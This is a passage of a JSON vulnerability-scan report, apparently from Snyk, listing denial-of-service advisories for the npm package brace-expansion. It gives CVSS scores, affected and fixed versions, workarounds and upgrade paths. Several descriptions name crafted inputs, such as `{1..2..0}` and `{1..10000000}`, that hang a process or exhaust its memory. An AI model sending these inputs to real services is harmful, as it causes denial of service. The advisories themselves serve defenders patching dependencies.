Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## 